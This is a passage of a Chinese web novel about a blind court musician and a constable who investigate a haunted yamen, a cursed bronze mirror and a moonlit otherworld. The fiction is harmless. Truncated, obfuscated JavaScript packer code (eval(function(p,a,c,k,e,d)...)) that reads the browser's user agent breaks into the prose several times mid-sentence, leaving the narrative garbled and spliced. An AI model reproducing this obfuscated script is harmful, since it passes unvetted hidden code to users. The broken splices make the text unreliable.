陆秉脸色一沉,肃然道:“就因为那孙绣娘模样标致,又恰巧在沈家绸缎庄做活计,你们就在背地里胡乱编排人家有苟且之事?” “哎哟那可不敢胡乱编排,是有人亲眼看见的,绸缎庄里那个小杏儿就撞见过沈少爷和孙绣娘拉拉扯扯,还有邓老头儿,”斜眼男指着卖茶汤的老汉说,“你不是也看见过一回。” 邓老头连忙摇头摆手,撇清道:“我可没看见过。” “怎么没看见过,就那晚,初三还是初几来着,你还跟我们说过呢,你说看见秦老二大晚上被关在门外那次。” “我是说我当时收摊路过,正好撞见秦老二站在他家门外,大寒天的,冻得直哆嗦,给秦老二脸都冻得发紫发青,我还好意让他上我家避避风去,他也不领情,就跟个木头桩子似的杵在自家门口罚站,其他的我可没说。” “对,就是那天,我听说那天秦老二要去谁家做工,原本不打算回来的,但是突然又回来了,回来却不进屋,大冷天站门口愣着干啥?!”斜眼男卖了个关子,继续道,“因为当晚还有人看见,沈少爷去了他家。” 陆秉听得一愣,心头打了个猛突。 所以是被突然折返回家的秦老二发现了? 斜眼男言有所指道:“沈少爷是什么身份,入了夜跑去秦老二家干什么,家里面就孙绣娘一个小妇人。” 妇人道:“我估计啊,就是因为秦老二那次回去撞破了她和沈家大少爷的奸情,这女人干脆就不再顾忌了,想摆脱秦老二却摆脱不掉,才起了杀夫之心,那就是个心狠手辣的毒妇!” 忽然又有一道声线插进来:“趁秦二不在家的时候,去过她屋子的可不止沈少爷一个。” 众人回过头,那人不知何时凑近的,已经听了小半刻热闹了,忍不住要贡献一份热闹:“我听说啊,她还跟西市那个磨镜匠眉来眼去呢。” 妇人陡然挺起背:“哎呀,你别说,我也看见了。” “我还看见好几回呢,她三天两头去寻那个磨镜匠,还把人招来屋里过,两人半天都没出房门呐。”妇人撇撇嘴,“你们说说,她屋子里是有多少面昏镜?需要隔三岔五地找那匠人来磨啊?” “哎哟,她这是没少背着秦二在外偷人呐。” “不但跟沈少爷通奸,还跟一磨镜匠有染。” 尽管所有人都在说“男盗女娼”,但周雅人的关注点却不在男女私情上。 “铜镜?”他怀里正好揣着面孙绣娘用以献祭的铜镜,这块铜镜是用以陪葬的冥器,按理说不应该捏在孙绣娘手里,她应该是从哪里得来的,此事大有蹊跷,“请问那位磨镜匠人在何处,姓甚名谁?” 妇人道:“那磨镜匠走街串巷的,没个固定的落脚点,也不知道打哪儿来的,之前在西市待过一阵儿,咱也没听说他姓甚名谁。” 陆秉转头问:“怎么了?” 周雅人也说不上来,他下意识摸到怀里那面冰凉的铜镜,隐约觉得这位磨镜匠可能会知道些什么:“你派人去找一下这位磨镜匠。” 16.囚鬼灵 几人一通忙碌下来已至深夜,周雅人和陆秉从昨天到现在几乎没怎么休整,实在又累又饿。好在陆秉有先见之明,又提前差人往家送了趟消息,让陆老爷备一桌酒菜,款待贵客。 陆秉家住得稍微偏远些,是以三间民房围出的院落,又在西南角辟出一块菜地,搭着架子,供他闲不太住的老祖母种些茄豆瓜果。 架子上缠着枯藤,枯藤上缀着根干瘪的瓜,和一盏专为陆秉晚归时留的灯火。 陆秉兴冲冲领着周雅人回家,结果只看到桌上摆了两盘青菜豆腐和一小碟子腌萝卜,当即脸色一垮,气势汹汹的就要找茬:“爹!爹!我不是叫你弄桌酒菜吗?!你弄这么寒酸让我怎么招待贵客!” 周雅人想拦都来不及。 陆爹雷打不动地坐在房中练字,右手稳稳托着笔杆子,眼皮都没抬一下。他现在连陆秉都瞧不上,更遑论这臭小子交的那帮狐朋狗友,不卑贱就不错了,谁能贵到哪里去? 陆爹在房里装聋作哑,倒是把习惯早寝的陆老夫人嚷嚷醒了,她披衣下床,拉开房门:“怎么了这是?” “祖母。”陆秉转头就想去告他爹的状,但又一把将周雅人拽到陆老夫人跟前儿,献宝似的说,“你看谁来了?” 陆老夫人仰起头,盯着眼前这位身形出挑的大高个儿,眨了眨那双老眼昏花的眼睛,忍不住哎呀出声:“这不是——雅人吗?!” 周雅人稍一欠身,礼数周到的问候:“祖母,您可还安好?” 祖母顿时喜笑颜开,很是亲昵地上去拉住人:“好好好,我这把老骨头硬朗着呢,就是没想到入土之前居然还能再看看你,哎哟,你咋还是这么清瘦呢,跟我走之前一个样,一寸肉都没多长……” 陆秉立刻见缝插针,先拍马屁后卖爹:“祖母,他就是特意从长安过来探望您的,辛苦赶了两天路,一路上风餐露宿的,昨晚又跟我办案到现在,几乎没吃上一口热乎饭,能不清瘦么。结果到了咱们家,别说一壶温酒,连口肉都嚼不上——我还特意叫爹准备一桌硬菜,要招待贵客,结果您看看,怎么能这么怠慢呢,我们雅人不配么?!” 周雅人“瞥”陆秉一眼:“你就别挑事儿了,有什么吃什么。” 陆爹在听见来者何人时就按捺不住站起身,匆匆整了整身上的布衣便推门而出,三两步迎上前去,抱手作揖:“周大人,陆某真是,不知是您光临寒舍,实在有失远迎,有失远迎啊。” 周雅人也客套:“伯父,晚辈此次冒昧前来,未事先告知与您,本就有失礼数……” 陆爹连连摆手:“哪里的话,都是陆秉这臭小子,也没跟我说清楚……” 陆秉插嘴:“怪我咯?” 陆爹转头变脸,怒目圆瞪的斥责:“不怪你怪谁,叫人带话也不说清楚是谁,我若知道是雅人大老远从长安来……” “行了爹,别没完没了了,我们都还饿着肚子呢。” “对对对,先坐先坐,我这就去厨房温壶酒,再多添两个菜。” 未等周雅人开口婉拒,陆爹便疾步往外走,陆老夫人不忘叮嘱:“去鸡棚里,逮只最肥的烧。” 陆爹边玩袖子边应声:“我知道。” 周雅人见他们如此劳师动众,忙道:“不必麻烦了伯父,我此来造访本就叨扰……” 陆老夫人一双手牢牢抓紧周雅人:“你跟我们还说什么叨扰不叨扰这么见外的话,当年要不是因为你,我们陆家还有命回来过这安稳日子吗?当初我们一家子走得匆忙,都没来得及好好跟你道个谢。” 一提起当年,陆老夫人就颇为感触,拉着周雅人开始絮叨往事。 陆秉他爹曾在京为官,在京城那种遍地都是权贵的地界儿,陆爹仅仅只是个品阶不高的芝麻官儿,稍不留神就会触了某某王公大臣的霉头,招来横祸。 何况陆秉他爹还是个脑子转不过弯的一根筋,认死理,脾气跟茅坑里的石头差不离,又臭又硬。任职期间经常与同僚们意见不合,动不动就跟人打嘴仗抬杠,活脱脱一棒槌。棒槌到哪儿都不受待见,没少得罪人。 他那得罪的是人吗?他得罪的是权贵! 这种脾性自然不可能官运亨通,他没丢了老命连累一家老小遭殃简直是万幸中的万幸。 陆老爹在京中树敌众多,随便犯点小错都会被无限放大了追责,一大帮吹胡子瞪眼的人等着揪陆棒槌的小辫子,终于有一天听他放了句厥词,被记恨他的官员逮个正着,将厥词曲解了又曲解,要治他个对圣上大不敬之罪。 其实罪名说大不大,说小不小,得看有多少人站出来添油加醋,煽动是非,还有当今圣上是不是小肚皮鸡肠子的人。 最后只罢免其官职老夫人就谢天谢地了,连夜上寺里烧高香叩谢佛祖保佑,圣上宽仁。随即马不停蹄地收拾行李,再也不敢待在这是非之地,多待一刻腿肚子都钻筋。 她年纪大了,深知自己儿子不是当官那块料,因为他每天不是在作死就是在作死的路上,真不如在地里刨食吃踏实。 按理说,天下父母都盼着子孙能够升官发财,光耀门楣,唯独陆老夫人沾不起这个光,更享不起这个“福”,享一天都觉得要折寿。她还想多活几年镇镇宅呢,不然陆家这帮老的少的要翻天,没一个让人省心。 老夫人比谁都巴望着自家儿子被罢黜,留着小命踏踏实实回老家种田,那不比待在京城这种虎狼之地强百倍啊?!她可没少听说谁家被抄了,谁家被斩了,谁家下大狱了,谁家又被流放了,陆老夫人如同惊弓之鸟,生怕下一个就该轮到陆家头上。 加之她的宝贝孙子陆秉及冠后整日跟一帮不着四六的纨绔出去厮混,都快混成一个街溜子了,成天游手好闲不务正业,还学了一腔的油嘴滑舌,跟他那一开口就跟人死磕到底的亲爹完全走出两个相反的极端,将来也怕要惹出什么大乱子来。 终于在这爷俩惹出大乱子前,陆家能从那水深火热的官场中全身而退,没折损进去一条性命,已是苍天保佑,祖上庇荫。 陆老夫人吃斋念佛的感谢了一段日子上苍,回乡后才得知圣上之所以赦免陆爹的大不敬之罪,完全是因为周雅人顶着各方压力在御前为陆爹澄清正名。 满朝文武官员也仅仅他一人替陆爹担保求情,陆爹才得以释放回乡。 陆老夫人一直铭记于心,也曾多次让陆秉在信中言谢,如今见了面,自然是要当面感激。 周雅人笑得温文尔雅:“祖母言重了,您和伯父都是有福之人,定会福寿绵延。当年本就是欲加之罪,晚辈人微言轻,没能帮上什么忙,只不过如实禀明圣上,而圣上英明,没有听信那些不实之言。” 陆秉嘴角一撇:“怎么没听信,真没听信还能罢了我爹的官么,我说你啊,就别跟这儿整那套虚头巴脑的,我祖母又不傻。” 周雅人笑而不语,自有陆老夫人一巴掌呼他那张没个把门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“大人,大人,我冤枉啊,大人,我是冤枉的。” “大人,放过我吧,我冤呐,我没杀人,我也没放火。” “我没有投毒,不是我下的毒,大人明鉴呐。” …… 此起彼伏的冤屈响在肮脏晦暗的牢狱里,响在周雅人耳畔,一声比一声凄厉,最后变成不甘的哭号,愤怒的咆哮,绝望的惨叫,如利刀一样扎进他的耳膜。 他觉得痛苦,悲愤,身体像一把风化的枯骨,被刑具钉死在了狱墙上。凄风扫过,是一句挟着审判的风语:“你是个罪人!” “你是个罪人!” “你是个罪人!” 不! 不是的! 我不是! “你有罪!” 我没有。 “你罪不可赦,万死莫赎!” 万死莫赎四个字,仿如雷霆之压,千钧之重。 周雅人猛地从噩梦中惊醒,额上冷汗如瀑,他急喘几口气,感觉自己差点在梦魇中窒息而亡。 待缓过神来,抬手抹汗时才发现自己手里正紧紧拽着那面冷硬的铜镜,周雅人指腹下意识抚过镜背的月宫图纹,低喃出声:“嫦娥奔月。” 此时外头传来翅膀扑棱窗棂的动静,周雅人掀开被子下榻,推开窗,解了绑在飞奴脚爪上的传信,是张特制的符文,可化成风语。是来自太行道小友的回信,信中仅有只言片语的一句:“云有北阴神帝庭,太阴黑簿囚鬼灵——李流云。” 什么意思? 周雅人立在窗前,仰头面向夜空之上的弦月,凝神道:“太阴。” 17.镜中月 “什么!你还要去鬼衙门?!” 陆秉原本哈欠连连,跟没睡醒似的,一听某人要去鬼衙门,他猛一嗓子嚎出来,人立马精神抖擞了。 自打前夜在鬼衙门经历了一遭,陆秉已经信邪信得五体投地了,那地方邪门儿,是真邪门儿,比传言中还要邪门儿,是真真正正的鬼衙门阎罗殿,他发誓以后再也不敢对鬼神不敬。 “还去干嘛呀,失踪的沈少爷找到了,孙绣娘的尸体也给抬出来了……” 周雅人脚下不停,径直往鬼衙门的方向去:“去看看现场。” “不是,大清早的你说说你,干什么跑去那个晦气的地方……” “那里之所以变成鬼衙门,就是因为沉冤太重。” “沉冤重又怎么样,难道你还能去给那堆尸骨申冤不成?” 陆秉拦不住他,途中正巧遇到想上门拜访听风知的方道长,后者一听他们要去鬼衙门,也持反对意见:“太行道设了禁制,命我人祖山弟子在此看守,外人不可随意擅闯的,以免破坏里头的符阵,前夜里已经……” “因为这些痋虫,让埋在鬼衙门地底的沉冤浮了出来,难道我们不应该去看看吗?”周雅人郑重道,“孙绣娘为什么会跑去鬼衙门的公堂上放干自己的血,她以性命献祭,用鲜血篡改了太行道所绘的符阵,漏了一缕阴煞气出来,你知道她当时召了个什么东西吗?方道长,你不在现场,所以你并没有看见,但是我看见了。” “什……”方道长愣愣听着他的话,有些脑子转不过弯,“您看见了?您看见什么了?您不是看不见吗?!” 说话间,他几乎欺到周雅人脸上,死盯着对方那双眼睛看,确认对方真瞎还是假瞎。 周雅人目空一切,拉开与方道长的距离。 陆秉也疑惑地看向他:“对啊,你不是看不见吗?” 周雅人张了张嘴,懒得解释道:“我听见的。” 二人不约而同点点头,并没较这个真儿,自动将那句看见理解成对方口误,把这茬揭过去了。 最后周雅人以“我心里有数,不会损坏里头的符阵”再次进了鬼衙门,可能是江湖传言太过逼真,方道长对听风知有种神格化的崇敬之心,当然信得过他。 但是,方道长被弃之大门外:“他就一个人进去吗?” 陆秉颔首:“对。” 方道长指了指你我:“那我们呢?” 陆秉双臂抱胸,倚着门柱道:“看门儿。” 因为出门前周雅人就说过去鬼衙门是为了听风,到时候他只需在门外候着就行,别整出动静,以免扰乱耳力。 陆秉确实不敢踏进去,哪怕站门外都觉得后脊发凉,现在完全是抱紧刀强装镇定。 可是周雅人究竟能听见什么呢?陆秉其实从来都不曾知晓,以前也不太能理解当今皇上为什么称他为听风知。不止因为他身为瞽师音官,一双耳朵就是皇家定律器,能校准乐器的音高,而是听风知能以耳通神。 因此陆秉还特意去问过他本人,那时候他们彼此才刚结识不久:“你真的像他们说的那样,能以耳通神吗,能听见神谕?” 当时周雅人躺在陆家后院儿小憩,闻言忽地笑起来,眼尾弯着,不紧不慢地将炉子上的沸水兑进茶碗中放凉。 陆秉疑惑:“你笑什么?真能听见?神谕跟你说什么了?” 周雅人道:“神谕说一会儿要下雨,你赶紧去把那竿子衣服收了。” 果不其然午时一过就下了场暴雨,周雅人则把桌椅茶具搬到屋檐下,喝完一整壶都没正面回答这个问题。 陆秉收完衣服,站屋檐下盯着突然而至的骤雨,忍不住道:“你神了啊,你怎么知道会下雨的,刚才明明还顶着个日头,是神谕告诉你的?” “连风霜雪雨何时至都体察不到,我还当什么听风知,”周雅人惬意地端着茶杯,听身旁雨打芭蕉的清脆声响,悠悠道,“至于神谕嘛……我只是知天时。” 知道自然运行的时序,知道天道运行的规律。 陆秉从不好好上学堂,拢共没读过几本之乎者也:“别卖关子,我听不懂。” 周雅人扬起嘴角:“好比庄稼应何时播种,何时收成,必然需要掌握天时,可是在还未真正制定历法之前,人们不知何年何月是何夕,我们的先祖就是以听风授时于民,以便农事。” “听风授时?” “也就是确定时间告诉百姓,这要追溯到先秦时期,瞽师听风候气来省察风土预知天时,协风至,则是立春之日,由帝王举行籍田礼,昭告天下百姓,已到播种之时节,这对于农耕至关重要,只有掌握时节,百姓才能适时播种,迎来收成。” “怎么判断是协风至?” “通过风向,还有八方风气的冷暖寒暑。” 这又说来话长了,而且太深层次的陆秉估计很难听得懂,所以周雅人随便举了简单的例子,最后敷衍道:“我听风,也就是听个风调雨顺罢了。” 所以陆秉对周雅人的认知一直停留在对方能听个风调雨顺罢了,无论王公大臣,年年祭天祭地,不都是祈求风调雨顺国泰民安吗,怪不得会深得当今天子器重。 陆秉倚着柱子回忆沉思,方道长在一旁嘴没闲着: “陆捕头,你跟这位听风知是什么交情啊?我看你们好像关系很好?你们是怎么认识的?他怎么会到咱们北屈来?” “陆捕头,你知道御风术吗?这可是传闻中的上古绝学,早就已经失传了,我敢说从古至今,起码断代了整整一千年,没想到长安城那位听风知却将御风术再次重现于世。” “陆捕头,听风知进鬼衙门是要去听那些埋骨于此的沉冤吧,我怎么觉得他好像对这些冤死的人特别上心。” 陆秉心头一突,腾地站直了:“对啊,我怎么把这事儿给忘了。” “忘了何事啊陆捕头,要紧吗?” “跟你没关系,别瞎打听。” “明白明白,涉及到案情对吧,我不打听,”方道长转而望向大门,“也不知道这听风知何时出来?” 听风知一时半刻出不来,当周雅人再次踏入鬼衙门,体感和上回如出一辙,仿佛置身于冰窟,周围是散乱波动的阴气寒流,积压在符阵中某个未知的深处。 这股阴气是从符阵中漏出来的,涌动间从那些符纹的墙缝间四溢出来,形成四面散乱的寒气。 周雅人不确定自己究竟想要探寻什么,只是心下有种异常古怪的预感,好像这里压着不止一层禁制。 不止是太行道所设下的符阵,周雅人揣测着,可是以他现在的“目力”却窥探不及。 周雅人携着那面铜镜在鬼衙门内辗转,想以耳力去听,但围困于墙瓦中的阴气受符阵压制,透出来的阴风皆是散乱不堪的,让人很难辨别。这种感觉好像明明自己身在其中,却一直游走在边缘之外,怎么都触不及内核。 究竟是什么呢? 鬼衙门内积压了太重的阴怨。 他心里异常古怪的预感越发变得没着没落,然后独自在死寂沉沉的鬼衙门待足一整天,直到银月当空,周雅人手里的铜镜镜面闪过一缕淡淡的银辉,反射过他漆黑无光的视线。 于是他捧起那面铜镜,看见了月色。 “镜中有月,镜中有月。” 按理说,镜子可以照射出一切实物,这面铜镜中不光有月,有夜空,还有他自己,和一角飞翘的屋檐。 可他是盲瞽,他看不见别的,却在此刻突然看见了一点月色,一点银辉。 周雅人头皮发麻,心里如同涨潮一般,浑身上下起了层鸡皮疙瘩。 “这里一定藏了什么。”周雅人低喃出声,会是他想找的东西吗? 索性试试吧,他将手指用力划过铜镜坚硬的边缘,指腹那道伤口再次割裂开,溢出鲜血滴在铜镜镜面上——这本就是一件刚祭过血的冥器,他觉得可以再验证一次。 且见冥器中的银辉逐渐变成一轮模糊不清的圆月,只是此圆月仿佛笼了一层黑色的薄纱,像镀了层驱散不开的鬼雾。 周雅人猛地想起李流云捎给他的那句:太阴黑簿囚鬼灵。 太阴指的是月亮,在这里也暗指幽暗之所,难道那孙绣娘拜的就是这镜中月? 思及此周雅人心口猛跳了一下,铜镜背面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于,他探寻到一点关键,便寻着风迹迈步,大约往前走了上百步,脚尖轻轻踢到一块坚硬的石壁,他停下来,抬手却并没触摸到障碍物,但是一股彻骨的寒气却自下而上地升腾。 周雅人微微俯下身,伸手摸到一口圆形的井。 井圈用石材打造,井口的内壁上满是一道又一道深沟,全是取水时用铁绳拉磨出来的坑条。 周雅人在充满坑条的井壁上沾了一手湿滑青绿的苔藓,但他失明的双目并没注意到,这口深井中倒映着一轮熠熠生辉的银月。 侯在鬼衙门外的人眼看月上枝头,却久久等不到周雅人出来,陆秉焦虑不已,从大清早耗到现在已然十分急躁,起码在门口踱了千百回步子,实在按捺不住,便怂恿方道长一起进来瞧瞧,结果就看见周雅人趴在井口,半个身子都倾了进去。 两人大惊失色,齐吼出声:“小心!” 两人第一念头都认为周雅人眼瞎看不见,不小心转悠到了井边,马上就要摔进去了,随即一个箭步冲上去,结果方道长脚下不慎,踩到了地上一只被劈成两半的乌鸦尸体,脚下打滑,整个人一猛子朝前扎过去。 怪只怪周雅人太全神贯注,完全心无旁骛,先是被他们一嗓子惊了一跳,自己还没来得及起身,就猝不及防被方道长狠狠扑倒,双双栽进井里。 陆秉万万没想到,方正安居然一猛子把人扑下去了。 陆秉目眦欲裂,差点没疯,趴井口眼睁睁望着两人砸进水里,嘶声大喊:“雅人!” 且见井底水花四溅,实在看不清谁在扑腾,陆秉知道周雅人是通水性的,这么狗刨水似的扑腾法必然非方道长莫属。 “雅人,雅人,你怎么样?” 水面离井口起码五六丈深,里头又阴又暗,平整的井壁生满青苔,非常湿滑,掉下去想靠自救爬上来基本不太实际,好在陆秉还在岸上:“雅人,你们等着,我去叫人拿绳子过来。” 只是两三句话的工夫,井里逐渐平息下去,除了翻腾的浪,没有任何人浮在水面上,陆秉一下子慌了神:“雅人,方道长,雅人,周雅人。” 除了井底的回音,没传来任何回应,只余一轮漾着波澜的圆月倒影。 陆秉只觉嗓子眼肿大发紧,气血全往脑门儿上冲:“周雅人——” 18.水中月 水底埋伏着一股巨大而无形的暗劲,在他们坠入井里的瞬间就被双双搅缠住,狠力往下拖拽。 方道长拼命挣扎,脚下却好似套了根绳索,才刚浮出水面,又将他连拖带拽地拉进水中,他甚至来不及发出声,口鼻尽数呛了水,像掉入了水底的暗流漩涡,要将他们彻底吞噬。 方道长被暗流搅得天旋地转,肺腑翻涌,筋骨都快错位了。他在眩晕中掀开眼皮,四下一片漆黑,什么都看不见。 但是周雅人的视线却在这一刻变得无比清明,铜镜刚刚在他掉下来的瞬间脱了手。 他沉入水里的那一瞬,彻底看清了映在镜中的明月,正好与倒映在水中的圆月完全重合,镜面上的鲜血在水里洇开,明月便笼上一缕淡淡的血色,顷刻间释放出一股潮汐之力,在水下搅动出巨浪涡旋。 周雅人伸出双手,去捞镜中月,也捞水中月。 方道长早已经受不住晕了过去,直到感觉有人在用力拖拽自己,空气灌进鼻腔的瞬间他猛地呛咳出来,吐了一肚子凉水。 太冷了,满身骨头和血肉都被冻住了似的,方道长不可抑制地打起哆嗦,才发现自己半死不活地躺在冰上:“我……咳咳咳……” 他呛咳不止,见周雅人撬开冰层,湿淋淋从水底爬出来,伏在他的旁边大喘粗气,双腿却还泡在冰窟窿里。 周雅人在水底憋气太久,还拖着个人事不省的大累赘,潜到冰河,又费了番功夫破开冰层,实在已经精疲力尽。 “多谢……咳咳咳……救命之恩……咳咳咳……”方道长气管里呛进去不少水,咳得停不下来,“这是……咳咳咳……哪里……咳咳咳……” 周雅人喘匀了气才开口:“不知。” 借着月色,方道长观察了一下四周地形:“这里是,咳咳,大河啊。鬼衙门那口井,咳咳咳,居然连通河道啊,咳咳。” 方道长不但咳嗽,说话时还冷得上下牙齿打颤:“好、好冷,我、我们赶紧找个地方避避风吧,咳咳,生个火,不然肯定被冻死,咳咳。” 说着方道长刚准备起身,就感觉冰层下传来动静,像是有人在水底敲了敲冰。方道长禁不住打了个寒颤,一颗心提到嗓子眼儿,接着从他们面前的冰窟窿里冒出来一颗人头。 人头看见他们,嗷一嗓子喊出声。 方道长受其惊吓,也跟着嗷一嗓子叫出来。 随即冰窟窿里冒出第二颗人头,一声接着一声嗷嗷叫。 他们万万没想到,居然还有第三颗头,一起挤在不点大的冰窟窿里。 第三颗头愣了片刻,一眼认出来瘫在冰岸边的二人:“雅人!都嗷什么嗷!快闭嘴!” “陆秉。”周雅人甚是惊讶,“你怎么,你们……” “你们掉下去就没影儿了,我当然是赶紧去找人下井捞你们呀。”结果谁知看似平静的井下有个吃人不吐骨头的漩涡,他吊下去两个属下也折进去了,陆秉吓得魂飞魄散,脑子里嗡嗡直响,什么都思考不了,只想着不能赔了兄弟性命,二话不说亲自上阵,一下水才知道怎么回事,那股激流甚至崩开了缠在他腰间的绳结,然后他们仨就被输送到了这里。 方道长听完感动不已:“陆捕头和二位不顾自身安危下井捞我们,实乃大仁大义,贫道感激不尽。” “别废话,赶紧拉我们上去,我可不想一直泡在水里。”说到最后陆秉狠狠打了个哆嗦,“太冷了。” 黑子同样牙齿打颤:“这是哪儿啊?” 衙役两眼一抹黑:“不知道啊,离北屈远吗?我怎么觉得这里有点眼熟,又有点陌生。” “我也有这种陌生又熟悉的感觉,可能之前有来过,”黑子揣测,“所以应该不远吧,咱该往哪个方向走来着?” 陆秉不耐烦:“哎呀别管哪个方向了,大晚上的谁认得路,赶紧先找个地方生火。” 方道长急不可耐:“快快快,我快要被冻死了。” 几人浑身淌水,哆嗦着抱紧自己往岸上走,陆秉下意识回头,却见周雅人直挺挺立在原地,压根儿没有跟上来:“雅人?怎么不走?” 周雅人毫无焦距的目光转向他,神思有些发散的样子,反应有些迟钝似的,缓慢地缀在他们身后走。 他觉得不对劲,可是哪里不对劲呢?周雅人的七窍像被糊住了,浸皮入骨的寒意让他身体的感官变得异常麻木。 不远处正巧有间破落的小庙,嵌在岩层的夹缝之间。 打头阵的黑子一进去就吓了一跳:“啊!”他立刻后退半步,正好踩到后面人的脚尖。 “干什么你,踩我脚了。” 陆秉:“你俩别一惊一乍的。” 黑子尾音有点颤,僵硬地指了指里头:“神像!” 众人看进去,里面的神像居然没有头。 方道长眯了眯眼睛,越过他们踏入庙内,走到那尊无头石像前仔细端详。 石像脖颈处呈现刀砍的痕迹,手臂上还有被绳索捆绑过的印记,造型相当逼真,像是被获罪斩首的模样。 “这是,”方道长瞥向石像身上的刻字,“鲧。” 陆秉也跟了进去:“禹王之父?” 黑子瞬间松懈下来:“原来这小庙里供奉的是大禹的父亲啊。” 因为大禹治水有功,所以在大河边常建有禹王庙,但是供奉鲧的庙宇却是非常罕见的,因为鲧采用阻塞拦堵之法不成,治水无状而被处死,所以民间鲜少为鲧塑像,而这间庙里塑的还是鲧被斩首后的无头像。 这是一种罪人受刑的形态。 周雅人眉头微微蹙了一下,不动声色地靠近石像,总觉得心里不太是滋味。 陆秉把手凑到嘴边,哆哆嗦嗦呵着热气:“都别围着神像看了,赶紧去拾点干柴过来生火。” 待火升起来,所有人扒了湿衣服围在火堆边取暖,个个冻得跟冰坨子似的,脸色发青嘴唇发紫,好半天缓和不过来。 黑子反复搓着自己胳膊,摩擦发热:“你们说这水井看着挺平静的,怎么底下有股这么大的暗流啊?” “对啊,”方道长也很是疑虑,“奇了怪了。” 衙役压低声音道:“会不会那井底下有……” “你别瞎说!”黑子腾地一下站起来,“我憋不住了。” 陆秉见他转身:“你干嘛去?” “人有三急啊头儿。”黑子三两步蹿出去,片刻工夫,在外面发出一声惊呼:“老天,河,河……” 众人纷纷站起身,跟出去查看情况。 陆秉匆忙问:“发生什么事了?” 黑子急忙退回来:“头儿,出怪事了,这冰河全化开了,刚刚明明还……” 众人一涌而出,惊愕地望着面前滔滔黄河,方道长匪夷所思道:“那么厚的冰层,不可能这么快。” 陆秉也一脸难以置信:“现在这气候,还没到开河的时间吧。” “怪事。”方道长喃喃道,“这不对劲,非常不对劲。” 方道长猛地回过头,看见听风知披着青衣立在庙门前,手捧一面盛着月色的铜镜,整个人被月华镀了层清晖,清雅脱俗得不像尘世中人。 方道长不知所措的张了张嘴,突然不知该如何开口似的,没道出半句话来。 周雅人的声音如同他的气质一般沉着冷静:“我今天才刚发现,那孙绣娘拜的是这镜中月。” 方道长:“什么?” 周雅人抛出疑问:“她为何拜月?” 方道长一脸茫然,“拜月?为何?哦,是不是在拜那太阴月仙?” 不可能是拜天上月仙,周雅人开口:“方道长可曾听闻,云有北阴神帝庭,太阴黑簿囚鬼灵。” 方道长听完更茫然了:“不曾听闻,这又是何意?” “她拜的是这囚于太阴之中的鬼灵。”周雅人幽幽道,“北屈的县衙之中藏了一轮太阴/道体。” 方道长瞠目结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周雅人不再多言,直到他将视线落入大河中央,明月骤然清晰了。 在那儿! 他毫不迟疑地往河中央去。 方道长和陆秉大惊失色,纷纷冲上前。 陆秉:“你干什么,前面是河。” 周雅人:“我知道。” 方道长追上来拦住他:“道友慎重呀慎重,这太阴/道体,我也只在传闻中听过,相当于是个与世隔绝的另一个空间,就好比那天上月宫。月宫中难道真住着嫦娥月仙吗,谁也没见过,谁也不知道啊。” 方道长举了个极其贴切的例子,语速极快:“就算天上月宫中真住着嫦娥仙子,那这地上的,水里的,完全就是一道月影,恕贫道眼拙,我是真的看不出来……” 方道长一肚子长篇大论还没发表完,就被黑子突如其来的惊呼打断了:“天嘞,涨水了。” 衙役跟着喊:“天嘞,发洪了。” 两人惊愕完才反应过来,拔腿就跑:“快跑,跑啊,发洪……” 洪水骤然席卷而至,毫无征兆,来势汹汹,只是眨眼的工夫,就已逼至近前,将疯跑中的二人卷进波涛汹涌之中。 方道长和陆秉大骇,根本来不及撤退半步,汹涌而至的洪涛已经朝他们兜头罩下。 到这一刻方道长才隐隐明白,他刚才感知到的不对劲儿,是因为他们早已身在其中,可能在他们从鬼衙门掉入井中的那一刻开始,就已经踏入了太阴/道体。否则怎会才半刻钟不到,封冻的大河就完全融化成水,连一点冰渣子都看不见。 其实听风知刚才已经提出过:“我们可能已经踩在了这轮道体之上。” 人家只是没确切的表态,加个可能完全是怕吓到他们。 19.入道体 方道长感觉洪涛兜头而下之际,背后一阵疾风猛地卷了他一下,就像被人大力拽了一把。 随即方道长眼前一花,再次经历起一场天旋地转,耳边隐约掠过半句低沉的咒诀:“风行无所不入……” 接着身体极速下跌,五个人居然没被那滔天的洪水卷走,而是狠狠砸在了坚实的地面上。 怪哉,就像河床底下突然开了道口子,把他们漏下去了。 众人摔得七荤八素,黑子和衙役口鼻呛了水,咳得前俯后仰,猛然发现逃过一劫,心有余悸之余难掩激动:“啊啊啊,我没被洪水冲走,我以为我死定了。” “嗷呜,我也还在,吓死爹了,怎么就突然发洪水。” 方道长惊觉小命保住了,捂着摔疼的屁股躺地上呜呼哀哉了片刻。 陆秉磕到了头,额角处青了一块,他揉了揉发昏发胀的脑袋,有点眼冒金星:“这,这是哪儿。” 几人捂着胳膊腿七扭八歪地站起身,周雅人眨了眨眼,眼前的世界不再是一片暗无天日的漆黑,而是被罩上了一层朦胧的白雾,他有些难以适应地开口:“入了道。” 方道长骇然瞪大眼,见四周全是浓浓的雾,但是头顶上,却悬着一轮清晰无比的圆月:“您的意思是,咱们进入了太阴/道体?” 周雅人转过头,看见白雾之中裹着几道暗黑的人影,他们没有面目,只是像影子一样的人形轮廓,正是方道长和陆秉四人。 周雅人有些发愣地看着四道黑影,猛然发现,他在这里是能“看见”的:“对。” 因为对太阴/道体的一无所知,让衙役对此产生出恐惧:“那怎么办,这太阴/道体究竟是什么东西?会有危险吗?” 方道长说:“道体就是道法之境,是虚境乾坤。” 陆秉揉着额角打断道:“我们又不是学道之人,听不懂那劳什子道啊法的,你说人话。” “就是道法中的一个虚境,虚境中的一方天地。” “虚境天地又是什么玩意儿?”黑子最关心的是,“咱们莫名其妙进来了,那要怎么出去啊?咱得赶紧离开这儿!” 